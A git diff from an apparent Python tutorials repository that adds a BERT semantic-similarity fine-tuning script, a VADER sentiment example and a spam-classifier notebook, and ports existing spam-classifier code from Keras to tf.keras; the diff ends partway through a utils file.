diff --git a/machine-learning/nlp/semantic-textual-similarity/FinetuningBERTForSemanticTextualSimilarity_PythonCodeTutorial.py b/machine-learning/nlp/semantic-textual-similarity/FinetuningBERTForSemanticTextualSimilarity_PythonCodeTutorial.py
new file mode 100644
index 00000000..fd025d2e
--- /dev/null
+++ b/machine-learning/nlp/semantic-textual-similarity/FinetuningBERTForSemanticTextualSimilarity_PythonCodeTutorial.py
@@ -0,0 +1,390 @@
+# %% [markdown]
+# ### 1. Install and import the required packages
+
+# %%
+!pip install transformers sentence-transformers datasets
+
+# %%
+from datasets import load_dataset
+from sentence_transformers import SentenceTransformer, models
+from transformers import BertTokenizer
+from transformers import get_linear_schedule_with_warmup
+import torch
+from torch.optim import AdamW
+from torch.utils.data import DataLoader
+from tqdm import tqdm
+import time
+import datetime
+import random
+import numpy as np
+import pandas as pd
+
+# %% [markdown]
+# ### 2. Use Google Colab's GPU for training
+
+# %%
+if torch.cuda.is_available():
+ device = torch.device("cuda")
+ print(f'There are {torch.cuda.device_count()} GPU(s) available.')
+ print('We will use the GPU:', torch.cuda.get_device_name(0))
+else:
+ print('No GPU available, using the CPU instead.')
+ device = torch.device("cpu")
+
+# %% [markdown]
+# ### **3.** Load and preview the Semantic Textual Similarity Benchmark (STSB) dataset
+
+# %%
+# Load the English version of the STSB dataset
+dataset = load_dataset("stsb_multi_mt", "en")
+
+# %%
+print(dataset)
+
+# %%
+print("A sample from the STSB dataset's training split:")
+print(dataset['train'][98])
+
+# %% [markdown]
+# ### **4.** Define the dataset loader class
+#
+
+# %%
+# Instantiate the BERT tokenizer
+# You can use larger variants of the model, here we're using the base model
+tokenizer = BertTokenizer.from_pretrained('bert-base-uncased')
+
+# %%
+class STSBDataset(torch.utils.data.Dataset):
+
+ def __init__(self, dataset):
+
+ # Normalize the similarity scores in the dataset
+ similarity_scores = [i['similarity_score'] for i in dataset]
+ self.normalized_similarity_scores = [i/5.0 for i in similarity_scores]
+ self.first_sentences = [i['sentence1'] for i in dataset]
+ self.second_sentences = [i['sentence2'] for i in dataset]
+ self.concatenated_sentences = [[str(x), str(y)] for x,y in zip(self.first_sentences, self.second_sentences)]
+
+ def __len__(self):
+
+ return len(self.concatenated_sentences)
+
+ def get_batch_labels(self, idx):
+
+ return torch.tensor(self.normalized_similarity_scores[idx])
+
+ def get_batch_texts(self, idx):
+
+ return tokenizer(self.concatenated_sentences[idx], padding='max_length', max_length=128, truncation=True, return_tensors="pt")
+
+ def __getitem__(self, idx):
+
+ batch_texts = self.get_batch_texts(idx)
+ batch_y = self.get_batch_labels(idx)
+
+ return batch_texts, batch_y
+
+
+def collate_fn(texts):
+
+ input_ids = texts['input_ids']
+ attention_masks = texts['attention_mask']
+
+ features = [{'input_ids': input_id, 'attention_mask': attention_mask}
+ for input_id, attention_mask in zip(input_ids, attention_masks)]
+
+ return features
+
+# %% [markdown]
+# ### 5. Define the model class based on BERT
+
+# %%
+class BertForSTS(torch.nn.Module):
+
+ def __init__(self):
+
+ super(BertForSTS, self).__init__()
+ self.bert = models.Transformer('bert-base-uncased', max_seq_length=128)
+ self.pooling_layer = models.Pooling(self.bert.get_word_embedding_dimension())
+ self.sts_bert = SentenceTransformer(modules=[self.bert, self.pooling_layer])
+
+ def forward(self, input_data):
+ output = self.sts_bert(input_data)['sentence_embedding']
+ return output
+
+# %%
+# Instantiate the model and move it to GPU
+model = BertForSTS()
+model.to(device)
+
+# %% [markdown]
+# ### 6. Define the Cosine Similarity loss function
+
+# %%
+class CosineSimilarityLoss(torch.nn.Module):
+
+ def __init__(self, loss_fn=torch.nn.MSELoss(), transform_fn=torch.nn.Identity()):
+ super(CosineSimilarityLoss, self).__init__()
+ self.loss_fn = loss_fn
+ self.transform_fn = transform_fn
+ self.cos_similarity = torch.nn.CosineSimilarity(dim=1)
+
+ def forward(self, inputs, labels):
+ emb_1 = torch.stack([inp[0] for inp in inputs])
+ emb_2 = torch.stack([inp[1] for inp in inputs])
+ outputs = self.transform_fn(self.cos_similarity(emb_1, emb_2))
+ return self.loss_fn(outputs, labels.squeeze())
+
+# %% [markdown]
+# ### 7. Prepare the training and validation data split
+
+# %%
+train_ds = STSBDataset(dataset['train'])
+val_ds = STSBDataset(dataset['dev'])
+
+# Create a 90-10 train-validation split.
+train_size = len(train_ds)
+val_size = len(val_ds)
+
+print('{:>5,} training samples'.format(train_size))
+print('{:>5,} validation samples'.format(val_size))
+
+# %%
+batch_size = 8
+
+train_dataloader = DataLoader(
+ train_ds, # The training samples.
+ num_workers = 4,
+ batch_size = batch_size, # Use this batch size.
+ shuffle=True # Select samples randomly for each batch
+ )
+
+validation_dataloader = DataLoader(
+ val_ds,
+ num_workers = 4,
+ batch_size = batch_size # Use the same batch size
+ )
+
+# %% [markdown]
+# ### 8. Define the Optimizer and Scheduler
+
+# %%
+optimizer = AdamW(model.parameters(),
+ lr = 1e-6)
+
+# %%
+epochs = 8
+
+# Total number of training steps is [number of batches] x [number of epochs].
+total_steps = len(train_dataloader) * epochs
+
+scheduler = get_linear_schedule_with_warmup(optimizer,
+ num_warmup_steps = 0,
+ num_training_steps = total_steps)
+
+# %% [markdown]
+# ### 9. Define a helper function for formatting the elapsed training time as `hh:mm:ss`
+
+# %%
+# Takes a time in seconds and returns a string hh:mm:ss
+def format_time(elapsed):
+ # Round to the nearest second.
+ elapsed_rounded = int(round((elapsed)))
+
+ # Format as hh:mm:ss
+ return str(datetime.timedelta(seconds=elapsed_rounded))
+
+# %% [markdown]
+# ### 10. Define the training function, and start the training loop
+
+# %%
+def train():
+ seed_val = 42
+
+ criterion = CosineSimilarityLoss()
+ criterion = criterion.to(device)
+
+ random.seed(seed_val)
+ torch.manual_seed(seed_val)
+
+ # We'll store a number of quantities such as training and validation loss,
+ # validation accuracy, and timings.
+ training_stats = []
+ total_t0 = time.time()
+
+ for epoch_i in range(0, epochs):
+
+ # ========================================
+ # Training
+ # ========================================
+
+ print("")
+ print('======== Epoch {:} / {:} ========'.format(epoch_i + 1, epochs))
+ print('Training...')
+
+ t0 = time.time()
+
+ total_train_loss = 0
+
+ model.train()
+
+ # For each batch of training data...
+ for train_data, train_label in tqdm(train_dataloader):
+
+ train_data['input_ids'] = train_data['input_ids'].to(device)
+ train_data['attention_mask'] = train_data['attention_mask'].to(device)
+
+ train_data = collate_fn(train_data)
+ model.zero_grad()
+
+ output = [model(feature) for feature in train_data]
+
+ loss = criterion(output, train_label.to(device))
+ total_train_loss += loss.item()
+
+ loss.backward()
+ torch.nn.utils.clip_grad_norm_(model.parameters(), 1.0)
+ optimizer.step()
+ scheduler.step()
+
+
+ # Calculate the average loss over all of the batches.
+ avg_train_loss = total_train_loss / len(train_dataloader)
+
+ # Measure how long this epoch took.
+ training_time = format_time(time.time() - t0)
+
+ print("")
+ print(" Average training loss: {0:.5f}".format(avg_train_loss))
+ print(" Training epoch took: {:}".format(training_time))
+
+ # ========================================
+ # Validation
+ # ========================================
+
+ print("")
+ print("Running Validation...")
+
+ t0 = time.time()
+
+ model.eval()
+
+ total_eval_accuracy = 0
+ total_eval_loss = 0
+ nb_eval_steps = 0
+
+ # Evaluate data for one epoch
+ for val_data, val_label in tqdm(validation_dataloader):
+
+ val_data['input_ids'] = val_data['input_ids'].to(device)
+ val_data['attention_mask'] = val_data['attention_mask'].to(device)
+
+ val_data = collate_fn(val_data)
+
+ with torch.no_grad():
+ output = [model(feature) for feature in val_data]
+
+ loss = criterion(output, val_label.to(device))
+ total_eval_loss += loss.item()
+
+ # Calculate the average loss over all of the batches.
+ avg_val_loss = total_eval_loss / len(validation_dataloader)
+
+ # Measure how long the validation run took.
+ validation_time = format_time(time.time() - t0)
+
+ print(" Validation Loss: {0:.5f}".format(avg_val_loss))
+ print(" Validation took: {:}".format(validation_time))
+
+ # Record all statistics from this epoch.
+ training_stats.append(
+ {
+ 'epoch': epoch_i + 1,
+ 'Training Loss': avg_train_loss,
+ 'Valid. Loss': avg_val_loss,
+ 'Training Time': training_time,
+ 'Validation Time': validation_time
+ }
+ )
+
+ print("")
+ print("Training complete!")
+
+ print("Total training took {:} (h:mm:ss)".format(format_time(time.time()-total_t0)))
+
+ return model, training_stats
+
+# %%
+# Launch the training
+model, training_stats = train()
+
+# %%
+# Create a DataFrame from our training statistics
+df_stats = pd.DataFrame(data=training_stats)
+
+# Use the 'epoch' as the row index
+df_stats = df_stats.set_index('epoch')
+
+# Display the table
+df_stats
+
+# %%
+test_dataset = load_dataset("stsb_multi_mt", name="en", split="test")
+
+# Prepare the data
+first_sent = [i['sentence1'] for i in test_dataset]
+second_sent = [i['sentence2'] for i in test_dataset]
+full_text = [[str(x), str(y)] for x,y in zip(first_sent, second_sent)]
+
+# %%
+model.eval()
+
+def predict_similarity(sentence_pair):
+
+ test_input = tokenizer(sentence_pair, padding='max_length', max_length=128, truncation=True, return_tensors="pt").to(device)
+ test_input['input_ids'] = test_input['input_ids']
+ test_input['attention_mask'] = test_input['attention_mask']
+ del test_input['token_type_ids']
+
+ output = model(test_input)
+ sim = torch.nn.functional.cosine_similarity(output[0], output[1], dim=0).item()
+
+ return sim
+
+# %%
+example_1 = full_text[100]
+print(f"Sentence 1: {example_1[0]}")
+print(f"Sentence 2: {example_1[1]}")
+print(f"Predicted similarity score: {round(predict_similarity(example_1), 2)}")
+
+# %%
+example_2 = full_text[130]
+print(f"Sentence 1: {example_2[0]}")
+print(f"Sentence 2: {example_2[1]}")
+print(f"Predicted similarity score: {round(predict_similarity(example_2), 2)}")
+
+# %%
+example_3 = full_text[812]
+print(f"Sentence 1: {example_3[0]}")
+print(f"Sentence 2: {example_3[1]}")
+print(f"Predicted similarity score: {round(predict_similarity(example_3), 2)}")
+
+# %% [markdown]
+# ### Last but not least, save your model!
+
+# %%
+PATH = 'your/path/here'
+torch.save(model.state_dict(), PATH)
+
+# %%
+# In order to load the model
+# First, you have to create an instance of the model's class
+# And use the saving path for the loading
+# Don't forget to set the model to the evaluation state using .eval()
+
+model = BertForSTS()
+model.load_state_dict(torch.load(PATH))
+model.eval()
+
+
diff --git a/machine-learning/nlp/semantic-textual-similarity/README.md b/machine-learning/nlp/semantic-textual-similarity/README.md
new file mode 100644
index 00000000..20745c3f
--- /dev/null
+++ b/machine-learning/nlp/semantic-textual-similarity/README.md
@@ -0,0 +1 @@
+# [How to Fine Tune BERT for Semantic Textual Similarity using Transformers in Python](https://www.thepythoncode.com/article/finetune-bert-for-semantic-textual-similarity-in-python)
\ No newline at end of file
diff --git a/machine-learning/nlp/semantic-textual-similarity/requirements.txt b/machine-learning/nlp/semantic-textual-similarity/requirements.txt
new file mode 100644
index 00000000..c481c303
--- /dev/null
+++ b/machine-learning/nlp/semantic-textual-similarity/requirements.txt
@@ -0,0 +1,6 @@
+transformers
+sentence-transformers
+datasets
+tqdm
+numpy
+pandas
\ No newline at end of file
diff --git a/machine-learning/nlp/sentiment-analysis-vader/README.md b/machine-learning/nlp/sentiment-analysis-vader/README.md
new file mode 100644
index 00000000..31576a1f
--- /dev/null
+++ b/machine-learning/nlp/sentiment-analysis-vader/README.md
@@ -0,0 +1,2 @@
+# [Sentiment Analysis using Vader in Python](https://www.thepythoncode.com/article/vaderSentiment-tool-to-extract-sentimental-values-in-texts-using-python)
+- `pip3 install -r requirements.txt`
\ No newline at end of file
diff --git a/machine-learning/nlp/sentiment-analysis-vader/requirements.txt b/machine-learning/nlp/sentiment-analysis-vader/requirements.txt
new file mode 100644
index 00000000..0cddec51
--- /dev/null
+++ b/machine-learning/nlp/sentiment-analysis-vader/requirements.txt
@@ -0,0 +1 @@
+vaderSentiment
\ No newline at end of file
diff --git a/machine-learning/nlp/sentiment-analysis-vader/sentiment_analysis.py b/machine-learning/nlp/sentiment-analysis-vader/sentiment_analysis.py
new file mode 100644
index 00000000..8f64d27b
--- /dev/null
+++ b/machine-learning/nlp/sentiment-analysis-vader/sentiment_analysis.py
@@ -0,0 +1,25 @@
+from vaderSentiment.vaderSentiment import SentimentIntensityAnalyzer
+
+# init the sentiment analyzer
+sia = SentimentIntensityAnalyzer()
+
+sentences = [
+ "This food is amazing and tasty !",
+ "Exoplanets are planets outside the solar system",
+ "This is sad to see such bad behavior"
+]
+
+for sentence in sentences:
+ score = sia.polarity_scores(sentence)["compound"]
+ print(f'The sentiment value of the sentence :"{sentence}" is : {score}')
+
+for sentence in sentences:
+ print(f'For the sentence "{sentence}"')
+ polarity = sia.polarity_scores(sentence)
+ pos = polarity["pos"]
+ neu = polarity["neu"]
+ neg = polarity["neg"]
+ print(f'The percententage of positive sentiment in :"{sentence}" is : {round(pos*100,2)} %')
+ print(f'The percententage of neutral sentiment in :"{sentence}" is : {round(neu*100,2)} %')
+ print(f'The percententage of negative sentiment in :"{sentence}" is : {round(neg*100,2)} %')
+ print("="*50)
\ No newline at end of file
diff --git a/machine-learning/nlp/spam-classifier/logs/spam_classifier_1566057536.51311/events.out.tfevents.1566057541.DESKTOP-JCAH48A b/machine-learning/nlp/spam-classifier/logs/spam_classifier_1566057536.51311/events.out.tfevents.1566057541.DESKTOP-JCAH48A
deleted file mode 100644
index cedc6545..00000000
Binary files a/machine-learning/nlp/spam-classifier/logs/spam_classifier_1566057536.51311/events.out.tfevents.1566057541.DESKTOP-JCAH48A and /dev/null differ
diff --git a/machine-learning/nlp/spam-classifier/requirements.txt b/machine-learning/nlp/spam-classifier/requirements.txt
index f3bc98fd..5e6c8562 100644
--- a/machine-learning/nlp/spam-classifier/requirements.txt
+++ b/machine-learning/nlp/spam-classifier/requirements.txt
@@ -1,6 +1,4 @@
sklearn
-keras
tqdm
numpy
-keras_metrics
-tensorflow==1.15.2
\ No newline at end of file
+tensorflow
\ No newline at end of file
diff --git a/machine-learning/nlp/spam-classifier/results/spam_classifier_0.05 b/machine-learning/nlp/spam-classifier/results/spam_classifier_0.05
deleted file mode 100644
index 78cc13a5..00000000
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diff --git a/machine-learning/nlp/spam-classifier/results/spam_classifier_0.06 b/machine-learning/nlp/spam-classifier/results/spam_classifier_0.06
deleted file mode 100644
index 06380c0d..00000000
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diff --git a/machine-learning/nlp/spam-classifier/results/spam_classifier_0.08 b/machine-learning/nlp/spam-classifier/results/spam_classifier_0.08
deleted file mode 100644
index 60e7753b..00000000
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diff --git a/machine-learning/nlp/spam-classifier/results/spam_classifier_0.10 b/machine-learning/nlp/spam-classifier/results/spam_classifier_0.10
deleted file mode 100644
index bb95aaf3..00000000
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diff --git a/machine-learning/nlp/spam-classifier/results/tokenizer.pickle b/machine-learning/nlp/spam-classifier/results/tokenizer.pickle
deleted file mode 100644
index b3cf2594..00000000
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diff --git a/machine-learning/nlp/spam-classifier/spam_classifier.py b/machine-learning/nlp/spam-classifier/spam_classifier.py
index 969dffa6..289a9248 100644
--- a/machine-learning/nlp/spam-classifier/spam_classifier.py
+++ b/machine-learning/nlp/spam-classifier/spam_classifier.py
@@ -1,29 +1,20 @@
-# to use CPU uncomment below code
-# import os
-# os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152
-# os.environ["CUDA_VISIBLE_DEVICES"] = "-1"
-
-# import tensorflow as tf
-
-# config = tf.ConfigProto(intra_op_parallelism_threads=5,
-# inter_op_parallelism_threads=5,
-# allow_soft_placement=True,
-# device_count = {'CPU' : 1,
-# 'GPU' : 0}
-# )
-
-
-from keras.preprocessing.text import Tokenizer
-from keras.preprocessing.sequence import pad_sequences
-from keras.utils import to_categorical
-from keras.callbacks import ModelCheckpoint, TensorBoard
+import tensorflow as tf
+gpus = tf.config.experimental.list_physical_devices('GPU')
+if gpus:
+ # only use GPU memory that we need, not allocate all the GPU memory
+ tf.config.experimental.set_memory_growth(gpus[0], enable=True)
+
+from tensorflow.keras.preprocessing.text import Tokenizer
+from tensorflow.keras.preprocessing.sequence import pad_sequences
+from tensorflow.keras.utils import to_categorical
+from tensorflow.keras.callbacks import ModelCheckpoint, TensorBoard
from sklearn.model_selection import train_test_split
import time
import numpy as np
import pickle
-from utils import get_embedding_vectors, get_model, SEQUENCE_LENGTH, EMBEDDING_SIZE, TEST_SIZE
-from utils import BATCH_SIZE, EPOCHS, int2label, label2int
+from utils import get_model, SEQUENCE_LENGTH, TEST_SIZE
+from utils import BATCH_SIZE, EPOCHS, label2int
def load_data():
@@ -69,26 +60,25 @@ def load_data():
y = [ label2int[label] for label in y ]
y = to_categorical(y)
-
print(y[0])
# split and shuffle
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=TEST_SIZE, random_state=7)
-
+# print our data shapes
+print("X_train.shape:", X_train.shape)
+print("X_test.shape:", X_test.shape)
+print("y_train.shape:", y_train.shape)
+print("y_test.shape:", y_test.shape)
# constructs the model with 128 LSTM units
model = get_model(tokenizer=tokenizer, lstm_units=128)
# initialize our ModelCheckpoint and TensorBoard callbacks
# model checkpoint for saving best weights
-model_checkpoint = ModelCheckpoint("results/spam_classifier_{val_loss:.2f}", save_best_only=True,
+model_checkpoint = ModelCheckpoint("results/spam_classifier_{val_loss:.2f}.h5", save_best_only=True,
verbose=1)
# for better visualization
tensorboard = TensorBoard(f"logs/spam_classifier_{time.time()}")
-# print our data shapes
-print("X_train.shape:", X_train.shape)
-print("X_test.shape:", X_test.shape)
-print("y_train.shape:", y_train.shape)
-print("y_test.shape:", y_test.shape)
+
# train the model
model.fit(X_train, y_train, validation_data=(X_test, y_test),
batch_size=BATCH_SIZE, epochs=EPOCHS,
diff --git a/machine-learning/nlp/spam-classifier/test.py b/machine-learning/nlp/spam-classifier/test.py
index d2f5edb4..04144f7a 100644
--- a/machine-learning/nlp/spam-classifier/test.py
+++ b/machine-learning/nlp/spam-classifier/test.py
@@ -1,17 +1,10 @@
-import os
-# os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152
-# os.environ["CUDA_VISIBLE_DEVICES"] = "-1"
-
-# import tensorflow as tf
-
-# config = tf.ConfigProto(intra_op_parallelism_threads=5,
-# inter_op_parallelism_threads=5,
-# allow_soft_placement=True,
-# device_count = {'CPU' : 1,
-# 'GPU' : 0}
-# )
-from utils import get_model, int2label, label2int
-from keras.preprocessing.sequence import pad_sequences
+import tensorflow as tf
+gpus = tf.config.experimental.list_physical_devices('GPU')
+if gpus:
+ # only use GPU memory that we need, not allocate all the GPU memory
+ tf.config.experimental.set_memory_growth(gpus[0], enable=True)
+from utils import get_model, int2label
+from tensorflow.keras.preprocessing.sequence import pad_sequences
import pickle
import numpy as np
@@ -22,7 +15,8 @@
tokenizer = pickle.load(open("results/tokenizer.pickle", "rb"))
model = get_model(tokenizer, 128)
-model.load_weights("results/spam_classifier_0.05")
+# change to the model name in results folder
+model.load_weights("results/spam_classifier_0.06.h5")
def get_predictions(text):
sequence = tokenizer.texts_to_sequences([text])
diff --git a/machine-learning/nlp/spam-classifier/tutorial.ipynb b/machine-learning/nlp/spam-classifier/tutorial.ipynb
new file mode 100644
index 00000000..d6394902
--- /dev/null
+++ b/machine-learning/nlp/spam-classifier/tutorial.ipynb
@@ -0,0 +1,323 @@
+{
+ "cells": [
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "source": [
+ "import time\r\n",
+ "import pickle\r\n",
+ "import tensorflow as tf\r\n",
+ "gpus = tf.config.experimental.list_physical_devices('GPU')\r\n",
+ "if gpus:\r\n",
+ " # only use GPU memory that we need, not allocate all the GPU memory\r\n",
+ " tf.config.experimental.set_memory_growth(gpus[0], enable=True)\r\n",
+ "\r\n",
+ "import tqdm\r\n",
+ "import numpy as np\r\n",
+ "from tensorflow.keras.preprocessing.text import Tokenizer\r\n",
+ "from tensorflow.keras.preprocessing.sequence import pad_sequences\r\n",
+ "from tensorflow.keras.utils import to_categorical\r\n",
+ "from tensorflow.keras.callbacks import ModelCheckpoint, TensorBoard\r\n",
+ "from sklearn.model_selection import train_test_split\r\n",
+ "from tensorflow.keras.layers import Embedding, LSTM, Dropout, Dense\r\n",
+ "from tensorflow.keras.models import Sequential\r\n",
+ "from tensorflow.keras.metrics import Recall, Precision"
+ ],
+ "outputs": [],
+ "metadata": {}
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "source": [
+ "SEQUENCE_LENGTH = 100 # the length of all sequences (number of words per sample)\r\n",
+ "EMBEDDING_SIZE = 100 # Using 100-Dimensional GloVe embedding vectors\r\n",
+ "TEST_SIZE = 0.25 # ratio of testing set\r\n",
+ "\r\n",
+ "BATCH_SIZE = 64\r\n",
+ "EPOCHS = 10 # number of epochs\r\n",
+ "\r\n",
+ "label2int = {\"ham\": 0, \"spam\": 1}\r\n",
+ "int2label = {0: \"ham\", 1: \"spam\"}"
+ ],
+ "outputs": [],
+ "metadata": {}
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "source": [
+ "def load_data():\r\n",
+ " \"\"\"\r\n",
+ " Loads SMS Spam Collection dataset\r\n",
+ " \"\"\"\r\n",
+ " texts, labels = [], []\r\n",
+ " with open(\"data/SMSSpamCollection\") as f:\r\n",
+ " for line in f:\r\n",
+ " split = line.split()\r\n",
+ " labels.append(split[0].strip())\r\n",
+ " texts.append(' '.join(split[1:]).strip())\r\n",
+ " return texts, labels"
+ ],
+ "outputs": [],
+ "metadata": {}
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "source": [
+ "# load the data\r\n",
+ "X, y = load_data()"
+ ],
+ "outputs": [],
+ "metadata": {}
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "source": [
+ "# Text tokenization\r\n",
+ "# vectorizing text, turning each text into sequence of integers\r\n",
+ "tokenizer = Tokenizer()\r\n",
+ "tokenizer.fit_on_texts(X)\r\n",
+ "# lets dump it to a file, so we can use it in testing\r\n",
+ "pickle.dump(tokenizer, open(\"results/tokenizer.pickle\", \"wb\"))\r\n",
+ "\r\n",
+ "# convert to sequence of integers\r\n",
+ "X = tokenizer.texts_to_sequences(X)\r\n",
+ "print(X[0])"
+ ],
+ "outputs": [],
+ "metadata": {}
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "source": [
+ "# convert to numpy arrays\r\n",
+ "X = np.array(X)\r\n",
+ "y = np.array(y)\r\n",
+ "# pad sequences at the beginning of each sequence with 0's\r\n",
+ "# for example if SEQUENCE_LENGTH=4:\r\n",
+ "# [[5, 3, 2], [5, 1, 2, 3], [3, 4]]\r\n",
+ "# will be transformed to:\r\n",
+ "# [[0, 5, 3, 2], [5, 1, 2, 3], [0, 0, 3, 4]]\r\n",
+ "X = pad_sequences(X, maxlen=SEQUENCE_LENGTH)\r\n",
+ "print(X[0])"
+ ],
+ "outputs": [],
+ "metadata": {}
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "source": [
+ "# One Hot encoding labels\r\n",
+ "# [spam, ham, spam, ham, ham] will be converted to:\r\n",
+ "# [1, 0, 1, 0, 1] and then to:\r\n",
+ "# [[0, 1], [1, 0], [0, 1], [1, 0], [0, 1]]\r\n",
+ "\r\n",
+ "y = [ label2int[label] for label in y ]\r\n",
+ "y = to_categorical(y)\r\n",
+ "print(y[0])"
+ ],
+ "outputs": [],
+ "metadata": {}
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "source": [
+ "# split and shuffle\r\n",
+ "X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=TEST_SIZE, random_state=7)\r\n",
+ "# print our data shapes\r\n",
+ "print(\"X_train.shape:\", X_train.shape)\r\n",
+ "print(\"X_test.shape:\", X_test.shape)\r\n",
+ "print(\"y_train.shape:\", y_train.shape)\r\n",
+ "print(\"y_test.shape:\", y_test.shape)"
+ ],
+ "outputs": [],
+ "metadata": {}
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "source": [
+ "def get_embedding_vectors(tokenizer, dim=100):\r\n",
+ " embedding_index = {}\r\n",
+ " with open(f\"data/glove.6B.{dim}d.txt\", encoding='utf8') as f:\r\n",
+ " for line in tqdm.tqdm(f, \"Reading GloVe\"):\r\n",
+ " values = line.split()\r\n",
+ " word = values[0]\r\n",
+ " vectors = np.asarray(values[1:], dtype='float32')\r\n",
+ " embedding_index[word] = vectors\r\n",
+ " word_index = tokenizer.word_index\r\n",
+ " # we do +1 because Tokenizer() starts from 1\r\n",
+ " embedding_matrix = np.zeros((len(word_index)+1, dim))\r\n",
+ " for word, i in word_index.items():\r\n",
+ " embedding_vector = embedding_index.get(word)\r\n",
+ " if embedding_vector is not None:\r\n",
+ " # words not found will be 0s\r\n",
+ " embedding_matrix[i] = embedding_vector\r\n",
+ " return embedding_matrix"
+ ],
+ "outputs": [],
+ "metadata": {}
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "source": [
+ "def get_model(tokenizer, lstm_units):\r\n",
+ " \"\"\"\r\n",
+ " Constructs the model,\r\n",
+ " Embedding vectors => LSTM => 2 output Fully-Connected neurons with softmax activation\r\n",
+ " \"\"\"\r\n",
+ " # get the GloVe embedding vectors\r\n",
+ " embedding_matrix = get_embedding_vectors(tokenizer)\r\n",
+ " model = Sequential()\r\n",
+ " model.add(Embedding(len(tokenizer.word_index)+1,\r\n",
+ " EMBEDDING_SIZE,\r\n",
+ " weights=[embedding_matrix],\r\n",
+ " trainable=False,\r\n",
+ " input_length=SEQUENCE_LENGTH))\r\n",
+ "\r\n",
+ " model.add(LSTM(lstm_units, recurrent_dropout=0.2))\r\n",
+ " model.add(Dropout(0.3))\r\n",
+ " model.add(Dense(2, activation=\"softmax\"))\r\n",
+ " # compile as rmsprop optimizer\r\n",
+ " # aswell as with recall metric\r\n",
+ " model.compile(optimizer=\"rmsprop\", loss=\"categorical_crossentropy\",\r\n",
+ " metrics=[\"accuracy\", Precision(), Recall()])\r\n",
+ " model.summary()\r\n",
+ " return model"
+ ],
+ "outputs": [],
+ "metadata": {}
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "source": [
+ "# constructs the model with 128 LSTM units\r\n",
+ "model = get_model(tokenizer=tokenizer, lstm_units=128)"
+ ],
+ "outputs": [],
+ "metadata": {}
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "source": [
+ "# initialize our ModelCheckpoint and TensorBoard callbacks\r\n",
+ "# model checkpoint for saving best weights\r\n",
+ "model_checkpoint = ModelCheckpoint(\"results/spam_classifier_{val_loss:.2f}.h5\", save_best_only=True,\r\n",
+ " verbose=1)\r\n",
+ "# for better visualization\r\n",
+ "tensorboard = TensorBoard(f\"logs/spam_classifier_{time.time()}\")"
+ ],
+ "outputs": [],
+ "metadata": {}
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "source": [
+ "# train the model\r\n",
+ "model.fit(X_train, y_train, validation_data=(X_test, y_test),\r\n",
+ " batch_size=BATCH_SIZE, epochs=EPOCHS,\r\n",
+ " callbacks=[tensorboard, model_checkpoint],\r\n",
+ " verbose=1)"
+ ],
+ "outputs": [],
+ "metadata": {}
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "source": [
+ "# get the loss and metrics\r\n",
+ "result = model.evaluate(X_test, y_test)\r\n",
+ "# extract those\r\n",
+ "loss = result[0]\r\n",
+ "accuracy = result[1]\r\n",
+ "precision = result[2]\r\n",
+ "recall = result[3]\r\n",
+ "\r\n",
+ "print(f\"[+] Accuracy: {accuracy*100:.2f}%\")\r\n",
+ "print(f\"[+] Precision: {precision*100:.2f}%\")\r\n",
+ "print(f\"[+] Recall: {recall*100:.2f}%\")"
+ ],
+ "outputs": [],
+ "metadata": {}
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "source": [
+ "def get_predictions(text):\r\n",
+ " sequence = tokenizer.texts_to_sequences([text])\r\n",
+ " # pad the sequence\r\n",
+ " sequence = pad_sequences(sequence, maxlen=SEQUENCE_LENGTH)\r\n",
+ " # get the prediction\r\n",
+ " prediction = model.predict(sequence)[0]\r\n",
+ " # one-hot encoded vector, revert using np.argmax\r\n",
+ " return int2label[np.argmax(prediction)]\r\n",
+ " "
+ ],
+ "outputs": [],
+ "metadata": {}
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "source": [
+ "text = \"You won a prize of 1,000$, click here to claim!\"\r\n",
+ "get_predictions(text)"
+ ],
+ "outputs": [],
+ "metadata": {}
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "source": [
+ "text = \"Hi man, I was wondering if we can meet tomorrow\"\r\n",
+ "get_predictions(text)"
+ ],
+ "outputs": [],
+ "metadata": {}
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "source": [],
+ "outputs": [],
+ "metadata": {}
+ }
+ ],
+ "metadata": {
+ "orig_nbformat": 4,
+ "language_info": {
+ "name": "python",
+ "version": "3.8.7",
+ "mimetype": "text/x-python",
+ "codemirror_mode": {
+ "name": "ipython",
+ "version": 3
+ },
+ "pygments_lexer": "ipython3",
+ "nbconvert_exporter": "python",
+ "file_extension": ".py"
+ },
+ "kernelspec": {
+ "name": "python3",
+ "display_name": "Python 3.8.7 64-bit"
+ },
+ "interpreter": {
+ "hash": "777490da48e046e3b512f0b24bf037db286a787493a11bf82a9e0f2cbf21bb67"
+ }
+ },
+ "nbformat": 4,
+ "nbformat_minor": 2
+}
\ No newline at end of file
diff --git a/machine-learning/nlp/spam-classifier/utils.py b/machine-learning/nlp/spam-classifier/utils.py
index 6c4da77f..ce9b10b9 100644
--- a/machine-learning/nlp/spam-classifier/utils.py
+++ b/machine-learning/nlp/spam-classifier/utils.py
@@ -1,9 +1,8 @@
import tqdm
import numpy as np
-from keras.preprocessing.sequence import pad_sequences
-from keras.layers import Embedding, LSTM, Dropout, Dense
-from keras.models import Sequential
-import keras_metrics
+from tensorflow.keras.layers import Embedding, LSTM, Dropout, Dense
+from tensorflow.keras.models import Sequential
+from tensorflow.keras.metrics import Recall, Precision
